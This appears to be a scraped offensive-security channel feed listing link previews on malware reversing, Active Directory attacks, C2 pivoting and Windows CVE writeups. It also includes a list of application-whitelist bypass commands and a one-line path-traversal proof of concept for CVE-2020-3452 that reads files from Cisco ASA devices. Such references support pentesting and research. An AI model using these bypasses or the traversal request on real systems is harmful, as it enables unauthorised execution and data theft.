hackspace

Reverse Engineering Malware, Part 4: Windows Internals
https://www.hackers-arise.com/single-post/2017/07/04/Reverse-Engineering-Malware-Part-4-Windows-Internals

hackers-arise

Reverse Engineering Malware, Part 4: Windows Internals

Welcome back to my Reverse Engineering Malware series. In general, reverse engineering of malware is done on Windows systems. That's because despite recent inroads by Linux and the Mac OS, Windows systems still comprise over 90% of all computing systems in…

74 views13:03

hackspace

🙃

47 views18:09

hackspace

Fuzzing FastCGI With AFL-Fuzz. This is the very long tale of my… | by Omaid Faizyar | Jul, 2020 | Medium
https://medium.com/@omaidfaizyar/fuzzing-fastcgi-an-odyssey-4ffc1c72a732

Medium

Fuzzing FastCGI With AFL-Fuzz

This is the very long tale of my adventures in fuzzing FastCGI with AFL-Fuzz. If you’re interested in fuzzing a FastCGI binary, look no…

49 views08:15

hackspace

Quick list of some app whitelist bypasses to try..

forfiles /p c:\windows\system32 /m notepad.exe /c <bin>

explorer.exe /root,"<bin>"

pcalua.exe -a <bin>

scriptrunner.exe -appvscript <bin>

wmic process call create <bin>

rundll32.exe advpack.dll, RegisterOCX <bin>

49 views11:15

hackspace

Top 16 Active Directory Vulnerabilities - InfosecMatter
https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/

InfosecMatter

Top 16 Active Directory Vulnerabilities - InfosecMatter

Practical steps on how to pentest Active Directory environments using a list of most common AD vulnerabilities. Tools and command examples for testing and exploitation of AD vulnerabilities.

53 views19:02

hackspace

AD Attack

1) Performing domain recon using PS
https://t.co/Pt6VpJqGdO

2) Attack mapping with bloodhound
https://t.co/CpmB4XW3pq

3) Extracting passwd hashes
https://t.co/f55XUSyx1k

4) Pass-the-hash attacks with mimikatz
https://t.co/PPkBjPpVgK

Stealthbits Technologies

Performing Domain Reconnaissance Using PowerShell

In this post, we will cover a few of the different ways that PowerShell can be used by attackers to map out your environment and chose their targets.

58 views19:14

hackspace

HTTP(s) C2 Pivoting. Introduction | by Steve Borosh | Jul, 2020 | Medium
https://medium.com/@rvrsh3ll/offensive-internal-http-s-agent-pivoting-2e9b4b7e58d8

Medium

Offensive Internal HTTP(s) Agent Pivoting

Introduction

58 views23:16

hackspace

50 views05:41

hackspace

https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/

Check Point Research

SIGRed - Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers - Check Point Research

Research by: Sagi Tzadik Introduction DNS, which is often described as the “phonebook of the internet”, is a network protocol for translating human-friendly computer hostnames into IP addresses. Because it is such a core component of the internet, there are…

56 views14:30

hackspace

https://itm4n.github.io/cve-2020-1170-windows-defender-eop/

itm4n’s blog

CVE-2020-1170 - Microsoft Windows Defender Elevation of Privilege Vulnerability

Here is my writeup about CVE-2020-1170, an elevation of privilege bug in Windows Defender. Finding a vulnerability in a security-oriented product is quite satisfying. Though, there was nothing groundbreaking. It’s quite the opposite actually and I’m surprised…

57 views23:18

hackspace

GitHub - Q4n/CVE-2020-1362: writeup of CVE-2020-1362
https://github.com/Q4n/CVE-2020-1362

44 views03:27

hackspace

45 views07:07

hackspace

Releases · BC-SECURITY/Starkiller · GitHub
https://github.com/BC-SECURITY/Starkiller/releases

GitHub

Releases · BC-SECURITY/Starkiller

Starkiller is a Frontend for PowerShell Empire. Contribute to BC-SECURITY/Starkiller development by creating an account on GitHub.

52 views14:16

hackspace

GitHub - hlldz/dazzleUP: A tool that detects the privilege escalation vulnerabilities caused by misconfigurations and missing updates in the Windows operating systems.
https://github.com/hlldz/dazzleUP

GitHub

GitHub - hlldz/dazzleUP: A tool that detects the privilege escalation vulnerabilities caused by misconfigurations and missing updates…

A tool that detects the privilege escalation vulnerabilities caused by misconfigurations and missing updates in the Windows operating systems. - hlldz/dazzleUP

57 views22:31

hackspace

Here is POC of CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.

For example to read "/+CSCOE+/portal_inc.lua" file.

https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

Happy Hacking!

89 views09:31

hackspace

53 views12:14

hackspace

https://medium.com/@ScatteredSecrets/bcrypt-password-cracking-extremely-slow-not-if-you-are-using-hundreds-of-fpgas-7ae42e3272f6?s=09

Medium

Bcrypt password cracking extremely slow? Not if you are using hundreds of FPGAs!

Building custom FPGA-based hardware to crack bcrypt passwords.

138 views17:27

hackspace